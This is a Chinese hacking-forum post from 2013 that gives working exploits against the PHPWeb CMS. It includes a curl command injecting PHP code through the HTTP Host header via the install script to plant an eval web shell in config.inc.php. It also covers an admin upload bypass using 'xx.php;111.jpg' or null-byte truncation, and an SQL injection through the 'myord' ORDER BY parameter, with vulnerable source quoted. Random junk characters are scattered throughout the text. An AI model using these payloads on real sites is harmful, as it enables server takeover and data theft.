找回密码
 立即注册
查看: 2900|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:1 o' C6 R) X8 H' t/ M% y
) @4 `. j6 m: S* {; a$ E' B
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, X0 W8 G. a. I
, F8 [; M$ u8 s- B1 e
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 V* U% K/ ^4 [  a: Q
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
% O8 q5 I7 u  W4 Y
( A" K' Z: q+ [  E  m6 X虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
# [3 ?2 T3 n& w# {1 V8 ~ 7 P6 _: d4 U) |/ r# n" O
分析:
3 x5 B* L9 _! S* \4 ]
$ z& y* t& Z! @8 d; _1 S  a
) \& Z) y9 R# C- |$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤( u4 ^. E: h4 l6 q, I" F

5 G# Q1 [" r, r9 D* e3 u& F' V0 K                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);/ r1 h( O8 O  F9 @
                                            $filestr=str_replace(" ","",$filestr);
+ E! R5 A5 e1 J  j; |6 Y% D                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
% O0 l4 a3 G9 w                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);- {8 u$ s) ^. v. R3 ?' L
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
! m( }( [+ G, A% l8 J5 Z4 S$ O                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
( b$ C9 s$ t5 I% L7 Q                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
) m- k" @" M; U+ U$ U                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
1 w0 v" y3 Y1 Q                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
  Y( K$ s8 _; p) a# `2 L ) s1 f* Y% q! O, ]; L1 X
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);/ ?7 ?6 `' m" t  Y) @* D$ b
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
* Q% R7 C: _# j$ |: A( x4 ~" C
/ E/ r! e* ^. G2 hpoc:. k) V/ Y( A( D
* C" C& Y3 m, k. y8 d9 ^3 `# N
?
7 v. p1 h5 p7 k( _8 y; ?; u13 d9 C5 |& b( b* R: d
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"7 ^: w( F4 K: X/ ]/ u; g8 K' R
shell地址: /config.inc.php+ m: V, W2 O3 ?3 o
跟之前的 phpcms一样 需要远程数据库2 ]4 F4 D- E% E6 [6 m1 ~
8 R2 j2 W0 ^" N. I
——————————————————–! Q' o$ d) T! ]( l6 h* B: `/ _
上传漏洞(需要进后台):, n. k& p- a$ q- U; I& S/ j
漏洞文件: /kedit/upload_cgi/upload.php
) O# j1 G5 ^4 K这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ G$ ?# C9 S4 a7 Z" v$ ?
% B7 _9 l6 U6 ^ $ G0 b4 r  ~+ G! w  ^1 Q
<?php/ z0 g4 B$ Y8 k3 H0 M
    define("ROOTPATH", "../../");
3 s$ V; ?, n+ [4 I3 d    include(ROOTPATH."includes/admin.inc.php");
+ U% M  T4 K; l( x2 |9 P/ [    NeedAuth(0);9 r5 U% G* f# v8 s6 v( c4 {$ a6 T
2 p( V. @3 e$ _
    $dt=date("Ymd",time());
( h* V1 @# {, _* K2 n' z* Y9 ?    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
4 F4 n" ^$ {" E7 N: c/ D            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);: y; T# t1 B) I1 f. t
    }
! c" Q: C8 n7 p8 o% l 6 \9 ], U+ J7 m& N0 A0 d, C" |; r# @
    //文件保存目录路径
5 p, o' n- i& O; E5 @5 r    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" f$ k+ J- }+ h9 ]+ ]2 d    echo $save_path;5 [7 r8 V+ G* _9 `- E; k* H5 o
    //文件保存目录URL! a; b3 d4 A% Y% r& t( `1 |" K
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';, U% K' U% v7 n6 U. I  p. C

" w) u! K6 i5 l2 ^$ f3 d# b    //定义允许上传的文件扩展名
( K( q$ m: ?) M+ |' `5 Q    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
. H2 |* z6 d8 T5 x. \" c' h- ` ) ~# N8 X5 H( Z# a
    //最大文件大小
# a" c9 U: M. f  t) k    $max_size = 1000000;6 `+ T! f- {$ |0 u. X
% [& U! P5 ?$ ]8 L# h0 q% O
    //更改目录权限
% |' b7 e8 S9 ^- r- o; e    @mkdir($save_path, 0777);
: Y0 s7 M- g% p& ?/ ^' a3 N / o2 A& }6 q8 X- H0 O
    //文件的全部路径" `& |- e0 {) J" x2 q
    $file_path = $save_path.$_POST['fileName'];   //保存文件名) i* l' B& f# ]3 a- L3 V5 n

7 e: h3 e3 _) ]9 q0 V. A    //文件URL1 M0 \3 q8 b5 c* s; V8 O4 ]
    $file_url = $save_url.$_POST['fileName'];( m2 `4 P  ]: @/ x2 ~
//有上传文件时7 J9 r; e$ D, L  ^* r2 N: w. b: K  o! W
    if (empty($_FILES) === false) {
, s, x$ ~  ]8 D. y( }
( _5 o* e7 S& c  U3 [) z            //原文件名
$ f$ }$ ~. K8 I6 Y' V+ n            $file_name = $_FILES['fileData']['name'];1 [0 R- q0 Y# F$ i; j* P
            //服务器上临时文件名7 C. m& ?' \+ h  U
            $tmp_name = $_FILES['fileData']['tmp_name'];
; m# G  C) I' c  _. c" o8 T6 u            //文件大小# G" ?0 y" U% L( v3 v# N5 R! X
            $file_size = $_FILES['fileData']['size'];: B  u2 n0 t; C7 j% ^
            //检查目录* c$ v/ |# X4 w6 e
            if (@is_dir($save_path) === false) {
1 v  _; ]! `: Z2 M                    alert("上传目录不存在。");  I1 j  o/ `2 u7 h/ G
            }
* @. L8 a6 M' K$ j. f7 _            //检查目录写权限
$ @9 o+ {" g* D5 P6 r            if (@is_writable($save_path) === false) {
- Y* _- {- A. E1 p& ]- Y) I                    alert("上传目录没有写权限。");/ [  \/ H( b& q$ f
            }
/ y) e# B0 i: k2 B+ N            //检查是否已上传, w7 ^2 s0 c4 T6 @
            if (@is_uploaded_file($tmp_name) === false) {' F$ {" H# }. i: I6 G7 `) d* F
                    alert("临时文件可能不是上传文件。");
$ t" r0 \3 w1 D            }% X1 @; _: j; e- e9 F4 p0 W$ P1 ?+ C
            //检查文件大小2 n2 M+ E' M- S; b) _
            if ($file_size > $max_size) {
! j4 e2 ~" n& {: _$ ~, h                    alert("上传文件大小超过限制。");
: z$ v/ T( S) A9 d8 P* |2 v, q            }
2 e. i) \& W: r) p' K- a8 p: O8 N6 }/ e            //获得文件扩展名  n$ m( Y" I6 _7 d# \* y6 Y. }
            $temp_arr = explode(".", $_POST['fileName']);1 Z5 H( X$ i( B3 \& O1 Y
            $file_ext = array_pop($temp_arr);
1 C2 E5 t& ~/ {1 m3 a9 |            $file_ext = trim($file_ext);5 N9 {0 N1 o( ^3 L' E- ~3 \
            $file_ext = strtolower($file_ext);5 A* u$ ?" |( C$ b
$ i# ~$ Y  Z4 j
            //检查扩展名   $ T2 k0 {' I0 Z  d( S5 |) K5 f
            if (in_array($file_ext, $ext_arr) === false) {     
  g  d' q8 C5 L" q% ]2 ^4 K                    alert("上传文件扩展名是不允许的扩展名。");
, A- C/ s" F  R& Q# t            }
) I' _) G3 P; p+ b , l9 O6 l  Y4 D" s  m- i
            //移动文件   
) O5 O3 H5 c6 }* w            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
! o# [$ u" X5 g9 w            if (move_uploaded_file($tmp_name, $file_path) === false) {
4 ?/ ?3 P& l2 |* g) Z                    alert("上传文件失败。");
, e7 h6 R  [5 T; B/ S            }
2 X& L0 |5 b5 m0 z4 D 6 S4 Z; p$ q% d) h
            @chmod($file_path,0666);
' y8 W  `( I0 j  J) Q   f& G, T. `& v9 N4 h! X' N
    ?>
& I' R: g) |! y; Z1 M) M! `8 P; W抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
! \1 L) p9 Y+ z: @8 q - s4 B1 Q) H  J; Q
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
7 t: L3 ?* q# \) G& U % s9 G- Y- A' G" U5 @$ N' r7 ~( M
——————————————————5 R3 o2 ?/ [# l$ X) T# @& j. V
注入漏洞:- [* J3 }( }5 i8 H" G& ]
漏洞文件:search/module/search.php5 _, u- A2 p  v$ H: T% ~/ ~
/search/index.php?key=1&myord=1 [sqlinjection]
$ t0 e( o# t0 z; O' [# w8 \
- M- g* v& [$ b0 Z& O
1 I) ?+ I$ v# h, M' [<?php
, p/ y& A. S3 e) R0 W   //       ... 省略 n 行...
# ~3 g2 \: f5 a- a4 r# a   //第18行:
& g- ]2 o- g1 r- R           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
4 p+ e0 m. `- t" r! Y+ x           $page=htmlspecialchars($_GET["page"]);
) C/ g% z4 _; n6 S2 D% q  w           $myord=htmlspecialchars($_GET["myord"]);
( k+ S0 A* ~! g9 U* n) y
6 q, S: Y: n. P7 q! i. ^/ w& n   //       ... 省略 n 行...' C3 _& A4 Q9 n7 @! U
   $key,$myord 两个参数带入查询
4 Q3 `, Q% G' c/ d  _3 c. B   //第47行 $key:
% X( y0 |: O$ [0 d% E, M - G( L- F8 H* G& C( ]: e
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..9 h2 {. R4 i' \! p
( D3 C# {$ W& |9 t' n- V5 I
   //第197行 $myord7 i# j3 h+ h2 K
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
" X! T# @0 B' _" I7 q 5 F1 ^$ C' {7 _" r% T( h
   ?>
  h! ^- ]# l7 {8 G! N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表